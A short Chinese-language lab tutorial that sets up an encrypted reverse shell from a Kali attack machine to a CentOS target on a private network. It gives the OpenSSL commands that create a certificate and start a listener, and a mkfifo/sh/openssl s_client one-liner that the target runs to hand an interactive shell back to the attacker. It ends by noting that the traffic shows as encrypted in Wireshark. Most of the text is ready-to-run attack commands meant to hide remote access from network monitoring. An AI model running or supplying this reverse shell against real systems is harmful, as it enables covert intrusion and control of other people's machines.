测试环境
攻击机:192.168.137.129(Kali)
靶机:192.168.137.128(CentOS)
1、在攻击机上使用OpenSSL生成自签名证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
2、 在攻击机上监听端口
openssl s_server -quiet -key key.pem -cert cert.pem -port [port]
3、在目标机用tcpdump抓包并执行命令
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect [IP:port] > /tmp/s; rm /tmp/s
4、在攻击上输入命令测试
使用wireshark查看流量包发现流量已经加密